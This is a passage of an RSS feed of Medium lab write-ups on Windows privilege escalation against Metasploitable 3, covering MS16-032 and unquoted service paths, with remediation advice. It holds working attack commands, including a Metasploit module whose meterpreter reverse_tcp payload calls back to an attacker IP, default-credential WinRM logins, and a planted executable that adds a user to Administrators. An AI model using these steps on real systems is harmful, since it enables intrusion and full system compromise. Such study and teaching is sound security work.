loading</li><li>Implement EDR solutions to detect suspicious DLL loading patterns</li></ul><h3>Conclusion</h3><p>This demonstration successfully exploited a DLL hijacking vulnerability to escalate from a low-privileged user to NT AUTHORITY\SYSTEM. The attack chain leveraged:</p><p>✅ Writable directory in system PATH<br> ✅ Service running as LocalSystem<br> ✅ Windows DLL search order behavior<br> ✅ Ability to restart the target service</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=33e8c0d0a51f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Privilege Escalation Write-Up: MS16–032 (CVE-2016–0099)]]></title>
            <link>https://medium.com/@nataanakuria/privilege-escalation-write-up-ms16-032-cve-2016-0099-17453d92ba9c?source=rss-868fb6bf77fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/17453d92ba9c</guid>
            <dc:creator><![CDATA[Nataanakuria]]></dc:creator>
            <pubDate>Thu, 04 Dec 2025 10:56:39 GMT</pubDate>
            <atom:updated>2025-12-04T10:56:39.234Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Objective:</strong> Escalate from a low-privileged Windows user to <strong>NT AUTHORITY\SYSTEM</strong><br> <strong>Technique:</strong> Missing Patches / Kernel Exploitation<br> <strong>MITRE ATT&amp;CK:</strong></p><ul><li><em>T1068 — Exploitation for Privilege Escalation</em></li><li><em>T1548 — Abuse Elevation Control Mechanisms</em></li></ul><h3>1. Discovery Phase — Patch &amp; System Analysis</h3><h3>Enumerating Installed Hotfixes</h3><pre>wmic qfe get HotFixID,InstalledOn,Caption</pre><p><strong>Observed:</strong> Only 5 patches installed:</p><ul><li>KB3191566 (03/19/2023)</li><li>KB2809215 (03/19/2023)</li><li>KB2872035 (03/19/2023)</li><li>KB3033929 (03/19/2023)</li><li>KB976902 (11/21/2010)</li></ul><p>This indicates extremely poor patch management. A machine with so few updates is likely vulnerable to older, well-documented privilege escalation exploits.</p><h3>Checking for Critical PrivEsc Patches</h3><pre>$criticalPatches = @(&quot;KB3139929&quot;, &quot;KB3000061&quot;, &quot;KB3057191&quot;, &quot;KB4012212&quot;, &quot;KB4012215&quot;)<br>Write-Host &quot;[*] Checking for critical missing patches:&quot; -ForegroundColor Red<br>foreach ($patch in $criticalPatches) {<br>    $exists = Get-HotFix -Id $patch -ErrorAction SilentlyContinue<br>    if ($exists) {<br>        Write-Host &quot;  $patch : ✓ INSTALLED&quot; -ForegroundColor Green<br>    } else {<br>        Write-Host &quot;  $patch : ✗ MISSING - VULNERABLE!&quot; -ForegroundColor Red<br>    }<br>}<br><br><br>#output:<br>*] Checking for critical missing patches:<br>  KB3139929 : ✗ MISSING - VULNERABLE!<br>  KB3000061 : ✗ MISSING - VULNERABLE!<br>  KB3057191 : ✗ MISSING - VULNERABLE!<br>  KB4012212 : ✗ MISSING - VULNERABLE!<br>  KB4012215 : ✗ MISSING - VULNERABLE!</pre><h3>Critical Finding</h3><p><strong>KB3139929 (MS16–032)</strong> is missing.</p><ul><li><strong>Vulnerability:</strong> Secondary Logon Handle Privilege Escalation</li><li><strong>CVE:</strong> CVE-2016–0099</li><li><strong>Impact:</strong> Any low-privileged user can escalate to SYSTEM</li><li><strong>Severity:</strong> Critical</li></ul><p>The target is confirmed vulnerable.</p><h3>2. Exploitation Phase — MS16–032</h3><h3>Metasploit Module Used</h3><pre>use exploit/windows/local/ms16_032_secondary_logon_handle_privesc<br>set SESSION 1<br>set LHOST 192.168.0.107<br>set LPORT 5555<br>set PAYLOAD windows/meterpreter/reverse_tcp<br>exploit</pre><h3>Relevant Exploit Output</h3><pre>[+] Successfully impersonated SYSTEM token!<br>[+] Token race successful! Obtained SYSTEM privileges!<br>[*] Meterpreter session 2 opened</pre><p>The exploit duplicated privileged handles created via CreateProcessWithLogonW, then triggered a race condition to steal a SYSTEM-level impersonation token from a privileged svchost thread.</p><h3>3. Post-Exploitation Validation</h3><h3>Checking Current User</h3><pre>meterpreter &gt; getuid<br>Server username: NT AUTHORITY\SYSTEM</pre><h3>Checking Available Privileges</h3><pre>meterpreter &gt; getprivs</pre><p>Privileges such as:</p><ul><li>SeDebugPrivilege</li><li>SeImpersonatePrivilege</li><li>SeLoadDriverPrivilege</li><li>SeTcbPrivilege</li><li>SeTakeOwnershipPrivilege</li></ul><p>confirm full SYSTEM-level access.</p><h3>System Information</h3><pre>meterpreter &gt; sysinfo</pre><pre>OS : Windows 10 (10.0 Build 14393)<br>Architecture : x64<br>Meterpreter : x64/windows</pre><h3>4. Result</h3><p>Privilege escalation was successful.<br> A low-privileged account was elevated to <strong>NT AUTHORITY\SYSTEM</strong> due to the missing MS16–032 patch (KB3139929).</p><p><strong>Impact:</strong></p><ul><li>Full system compromise</li><li>Ability to add users, modify system files, pivot to other hosts, and extract credentials</li><li>Demonstrates severe patch management weaknesses</li></ul><h3>5. Remediation Recommendations</h3><ul><li>Install <strong>KB3139929</strong> immediately</li><li>Implement centralized patch management (WSUS, SCCM, or similar)</li><li>Audit and harden the Secondary Logon Service</li><li>Restrict interactive logon permissions for low-privileged accounts</li><li>Deploy endpoint detection capable of blocking token-stealing and impersonation techniques</li><li>Perform regular vulnerability scans and patch audits</li></ul><p>6. Final Summary</p><ul><li>MS16–032 was unpatched</li><li>The machine was vulnerable to CVE-2016–0099</li><li>Exploitation successfully escalated privileges to SYSTEM</li><li>Demonstrates a critical security lapse in patch management</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=17453d92ba9c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Privilege Escalation on Metasploitable 3: A Practical Walkthrough]]></title>
            <link>https://medium.com/@nataanakuria/windows-privilege-escalation-on-metasploitable-3-a-practical-walkthrough-aaf2cc34287d?source=rss-868fb6bf77fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/aaf2cc34287d</guid>
            <dc:creator><![CDATA[Nataanakuria]]></dc:creator>
            <pubDate>Thu, 04 Dec 2025 08:47:04 GMT</pubDate>
            <atom:updated>2025-12-04T11:12:24.181Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>In this write-up, I will demonstrate privilege escalation (PE) on a Metasploitable 3 Windows machine using techniques from <strong>The Hacker’s Playbook 3</strong> and the <strong>MITRE ATT&amp;CK framework</strong>. While numerous PE techniques exist, I will focus on four key methods:</p><ol><li><strong>Unquoted Service Paths</strong> (T1574.009)</li><li><strong>DLL Hijacking</strong> (T1574.001)</li><li><strong>Missing Patches/Kernel Exploits</strong> (T1068)</li><li><strong>Assumptions:</strong> This walkthrough assumes we already have initial access to the target machine. In a real red team engagement, initial access would typically be gained through:</li></ol><ul><li>Phishing campaigns</li><li>Remote Code Execution (RCE) via SQL injection, template injection, etc.</li><li>Hardware attacks (printers, IoT devices)</li><li>Social engineering</li></ul><p>Our target environment:</p><ul><li><strong>Target IP:</strong> 192.168.0.103</li><li><strong>Attacker IP:</strong> 192.168.0.107</li><li><strong>Target OS:</strong> Windows Server 2008 R2 Standard</li></ul><h3>Initial Reconnaissance &amp; Service Discovery</h3><p>The first step in any penetration test is reconnaissance. We begin by identifying open ports and services on the target machine using Nmap:</p><pre>nmap -sV -sC -p- 192.168.0.103 -oN metasploitable3_scan.txt</pre><h3>Scan Results:</h3><pre>Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-03 05:25 EST<br>Nmap scan report for 192.168.0.103<br>Host is up (0.00025s latency).</pre><pre>PORT      STATE  SERVICE      VERSION<br>5985/tcp  open   http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>5986/tcp  closed wsmans<br>8080/tcp  open   http         Sun GlassFish Open Source Edition 4.0<br>47001/tcp open   http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>MAC Address: 08:00:27:16:78:ED (Oracle VirtualBox)<br>Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows</pre><h3>Key Findings:</h3><ul><li><strong>Port 5985:</strong> Windows Remote Management (WinRM) — Potential for remote command execution</li><li><strong>Port 8080:</strong> GlassFish 4.0 application server — Known vulnerabilities exist</li><li><strong>Port 47001:</strong> Windows Remote Management (alternate port)</li></ul><h3>Initial Foothold: Exploiting WinRM</h3><p>While GlassFish presented an attack surface, reconnaissance revealed a simpler path: <strong>WinRM</strong> (Windows Remote Management) on port 5985. Metasploitable 3 Windows ships with default credentials, allowing immediate access:</p><pre>evil-winrm -i 192.168.0.103 -u vagrant -p vagrant</pre><h3>Successful Connection:</h3><pre>Evil-WinRM shell v3.7<br>Info: Establishing connection to remote endpoint<br>*Evil-WinRM* PS C:\Users\vagrant\Documents&gt;</pre><h3>Verification:</h3><pre>whoami<br># Output: metasploitable3\vagrant</pre><h3>Initial Enumeration</h3><p>Before proceeding to privilege escalation, we perform basic enumeration to understand our environment. We can use automated scripts like <strong>WinPEAS</strong> or <strong>PowerUp.ps1</strong>, or manually run commands.</p><h3>System Information</h3><pre>systeminfo | findstr /B /C:&quot;OS Name&quot; /C:&quot;OS Version&quot;</pre><p><strong>Output:</strong></p><pre>OS Name:                   Microsoft Windows Server 2008 R2 Standard<br>OS Version:                6.1.7601 Service Pack 1 Build 7601</pre><h3>User Information</h3><pre>net users<br>net localgroup administrators</pre><p><strong>Output:</strong></p><pre>User accounts for \\</pre><pre>-------------------------------------------------------------------------------<br>Administrator            anakin_skywalker         artoo_detoo<br>ben_kenobi               boba_fett                c_three_pio<br>chewbacca                darth_vader              greedo<br>Guest                    han_solo                 jabba_hutt<br>jarjar_binks             kylo_ren                 lando_calrissian<br>leia_organa              luke_skywalker           sshd<br>sshd_server              vagrant</pre><pre>Alias name     administrators<br>Comment        Administrators have complete and unrestricted access to the computer/domain</pre><pre>Members<br>-------------------------------------------------------------------------------<br>Administrator<br>sshd_server<br>vagrant</pre><h3>Current User Privileges</h3><pre>whoami /priv</pre><p><strong>Output:</strong></p><pre>PRIVILEGES INFORMATION<br>----------------------<br>Privilege Name                  Description                               State<br>=============================== ========================================= =======<br>SeIncreaseQuotaPrivilege        Adjust memory quotas for a process        Enabled<br>SeSecurityPrivilege             Manage auditing and security log          Enabled<br>SeTakeOwnershipPrivilege        Take ownership of files or other objects  Enabled<br>SeLoadDriverPrivilege           Load and unload device drivers            Enabled<br>SeSystemProfilePrivilege        Profile system performance                Enabled<br>SeSystemtimePrivilege           Change the system time                    Enabled<br>SeProfileSingleProcessPrivilege Profile single process                    Enabled<br>SeIncreaseBasePriorityPrivilege Increase scheduling priority              Enabled<br>SeCreatePagefilePrivilege       Create a pagefile                         Enabled<br>SeBackupPrivilege               Back up files and directories             Enabled<br>SeRestorePrivilege              Restore files and directories             Enabled<br>SeShutdownPrivilege             Shut down the system                      Enabled<br>SeDebugPrivilege                Debug programs                            Enabled<br>SeSystemEnvironmentPrivilege    Modify firmware environment values        Enabled<br>SeChangeNotifyPrivilege         Bypass traverse checking                  Enabled<br>SeRemoteShutdownPrivilege       Force shutdown from a remote system       Enabled<br>SeUndockPrivilege               Remove computer from docking station      Enabled<br>SeManageVolumePrivilege         Perform volume maintenance tasks          Enabled<br>SeImpersonatePrivilege          Impersonate a client after authentication Enabled<br>SeCreateGlobalPrivilege         Create global objects                     Enabled<br>SeIncreaseWorkingSetPrivilege   Increase a process working set            Enabled<br>SeTimeZonePrivilege             Change the time zone                      Enabled<br>SeCreateSymbolicLinkPrivilege   Create symbolic links                     Enabled</pre><p><strong>Critical Findings:</strong></p><ul><li><strong>SeImpersonatePrivilege</strong> — Enables token impersonation attacks (JuicyPotato, PrintSpoofer)</li><li><strong>SeDebugPrivilege</strong> — Allows process manipulation and memory dumping</li><li><strong>SeBackupPrivilege</strong> — File system read access bypass</li><li><strong>SeRestorePrivilege</strong> — File system write access bypass</li></ul><p>These privileges significantly expand our attack surface and enable multiple escalation paths.</p><h3>Network Connections</h3><pre>netstat -ano | findstr :5985</pre><p><strong>Output:</strong></p><pre>TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4<br>TCP    192.168.0.103:5985     192.168.0.107:40580    ESTABLISHED     4<br>TCP    [::]:5985              [::]:0                 LISTENING       4</pre><h3>Privilege Escalation Techniques</h3><p>With our initial foothold established as the <strong>vagrant</strong> user, we now have the perfect launchpad for privilege escalation. We will demonstrate four different techniques, each exploiting different misconfigurations commonly found in Windows environments.</p><p>TECHNIQUE 1: UNQUOTED SERVICE PATHS</p><h3><strong>MITRE ATT&amp;CK:</strong> T1574.009 — Path Interception by Unquoted Path</h3><h3>Overview</h3><p>Unquoted service paths are a common Windows misconfiguration where a service’s executable path contains spaces but is not enclosed in quotation marks. Windows uses a specific search order when resolving such paths, which can be exploited to execute malicious code with elevated privileges.</p><h3>Discovery</h3><p>We search for services with unquoted paths that start automatically:</p><pre>cmd /c &#39;wmic service get name,pathname,startmode | findstr /i &quot;auto&quot; | findstr /v &quot;\&quot;&quot;&#39;</pre><h3>Found Vulnerability:</h3><pre>DesktopCentralServer  C:\ManageEngine\DesktopCentral_Server\bin\wrapper.exe -s C:\ManageEngine\DesktopCentral_Server\conf\wrapper.conf  Auto</pre><p><strong>This is vulnerable because:</strong></p><ul><li>Path has spaces: C:\ManageEngine\DesktopCentral_Server\bin\wrapper.exe</li><li>Path is NOT quoted</li><li>Service starts automatically (Auto)</li></ul><h3>Windows Path Resolution Logic</h3><p>When Windows encounters an unquoted path with spaces, it tries to execute programs in this order:</p><pre>Original Path: C:\ManageEngine\DesktopCentral_Server\bin\wrapper.exe</pre><pre>Windows will try:<br>  1. C:\ManageEngine.exe                          ← We place our malicious file here!<br>  2. C:\ManageEngine\DesktopCentral_Server.exe<br>  3. C:\ManageEngine\DesktopCentral_Server\bin\wrapper.exe ← Legitimate binary</pre><h3>Exploitation Steps</h3><h4>Step 1: Check Write Permissions</h4><p>First, verify that we can write to the vulnerable directory:</p><pre>icacls &quot;C:\ManageEngine&quot;</pre><p><strong>Output:</strong></p><pre>C:\ManageEngine NT AUTHORITY\LOCAL SERVICE:(OI)(CI)(F)<br>                NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)<br>                BUILTIN\Administrators:(I)(OI)(CI)(F)<br>                BUILTIN\Users:(I)(OI)(CI)(RX)<br>                BUILTIN\Users:(I)(CI)(AD)<br>                BUILTIN\Users:(I)(CI)(WD)<br>                METASPLOITABLE3\vagrant:(I)(F)<br>                CREATOR OWNER:(I)(OI)(CI)(IO)(F)</pre><pre>Successfully processed 1 files; Failed processing 0 files</pre><p><strong>Key Finding:</strong> METASPLOITABLE3\vagrant:(I)(F)</p><p>This means the vagrant user has <strong>Full Control (F)</strong> over C:\ManageEngine!</p><h4>Step 2: Create Malicious Executable</h4><p>Since we control C:\ManageEngine, we create C:\ManageEngine.exe which will execute before the legitimate service:</p><pre># Create payload batch file that adds our user to Administrators<br>echo net localgroup administrators metasploitable3\vagrant /add &gt; &quot;C:\ManageEngine.bat&quot;</pre><pre># Copy cmd.exe as our malicious executable<br># When the service starts, it will run cmd.exe which executes our batch file<br>Copy-Item &quot;C:\Windows\System32\cmd.exe&quot; &quot;C:\ManageEngine.exe&quot;</pre><h4>Step 3: Trigger the Exploit</h4><p>Restart the vulnerable service to execute our payload:</p><pre>net stop DesktopCentralServer<br>net start DesktopCentralServer<br>Start-Sleep -Seconds 5</pre><p><strong>Output:</strong></p><pre>The ManageEngine Desktop Central Server service was stopped successfully.<br>The ManageEngine Desktop Central Server service is starting..<br>The ManageEngine Desktop Central Server service was started successfully.</pre><h4>Step 4: Verify Privilege Escalation</h4><pre># Check if we&#39;re in the Administrators group<br>net localgroup administrators | findstr vagrant<br>whoami /groups | findstr Administrators</pre><p><strong>Output:</strong></p><pre>vagrant<br>BUILTIN\Administrators - Mandatory group, Enabled by default, Enabled group, Group owner</pre><h3>Result</h3><p>✅ <strong>Successfully escalated from regular user to Administrator via unquoted service path vulnerability.</strong></p><h3>Detection &amp; Mitigation</h3><p><strong>Detection:</strong></p><ul><li>Monitor for unexpected executables in root directories (C:\, C:\Program Files, etc.)</li><li>Use Sysmon Event ID 7 (Image Loaded) to detect unusual service starts</li><li>Audit service configurations regularly with tools like PowerShell or accesschk.exe</li></ul><p><strong>Mitigation:</strong></p><ul><li>Always quote service paths during installation: &quot;C:\Program Files\Service\service.exe&quot;</li><li>Restrict write permissions on directories in the system PATH</li><li>Implement application whitelisting (AppLocker, WDAC)</li><li>Regular security audits to identify unquoted paths</li></ul><h3>Important Note for Readers</h3><p>⚠️ Clarification on Privilege Levels:<br>While we have successfully escalated privileges from a regular user to Administrator, it’s important to distinguish between different privilege levels:</p><ul><li>Administrator: High-privilege user account (what we achieved)</li><li>SYSTEM: Highest privilege level (Windows kernel authority)</li></ul><p>Our current vagrant user is now a member of the BUILTIN\Administrators group, granting us administrative rights over the system. However, we are not yet running as the SYSTEM account.</p><p>Next Steps in Our Privilege Escalation Journey:<br>This write-up covers Technique 1: Unquoted Service Paths. In upcoming guides, we will demonstrate:</p><ol><li>Technique 2: DLL Hijacking (T1574.001)</li><li>Technique 3: Missing Patches/Kernel Exploits (T1068)</li><li>Administrator → SYSTEM Escalation (Multiple methods)</li></ol><p>Stay tuned for the complete privilege escalation series where we’ll explore additional attack vectors and ultimately achieve SYSTEM-level access.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aaf2cc34287d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>